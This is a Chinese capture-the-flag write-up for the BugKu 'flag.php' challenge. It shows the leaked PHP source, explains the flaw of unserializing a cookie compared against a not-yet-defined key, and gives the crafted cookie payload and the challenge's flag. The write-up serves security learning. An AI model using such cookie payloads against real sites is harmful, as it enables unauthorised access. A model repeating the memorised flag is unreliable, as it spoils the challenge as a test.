BugKu - flag.php

flag.php

原题链接

http://120.24.86.145:8002/flagphp/

分析

一开始以为是sql注入,但是因为点击Login怎么都没用,于是知道不是sql注入。
结合提示,hint,想查看hint.txt但是没有,于是想到会不会是传参数,http://120.24.86.145:8002/flagphp/?hint=1得到源码。
接下来是代码审计:

 <?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
  <form method="POST" action="#">
    <p><input name="user" type="text" placeholder="Username"></p>
    <p><input name="password" type="password" placeholder="Password"></p>
    <p><input value="Login" type="button"/></p>
  </form>
</div>
</body>
</html>

<?php
}
$KEY='ISecer:www.isecer.com';
?> 

代码逻辑就是,传入一个cookie:ISecer,如果ISecer反序列化的结果和KEY相等,就弹出flag。

这里有一个坑,我一直以为,KEY指的是下面的$KEY='ISecer:www.isecer.com';
然后,用它做序列化。
但实际上,并不是,上面的代码不是用下面的KEY,这是两段!!!
上面的KEY=Null

构造序列化字符串

<?php
echo serialize('');
?>

结果
s:0:"";

但是需要注意的一点是,;要url转义。
最后payload为:

Cookie: ISecer=s:0:""%3B

flag

flag{unserialize_by_virink}

知识点

反序列化,hint传参算是积累了一点经验吧

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容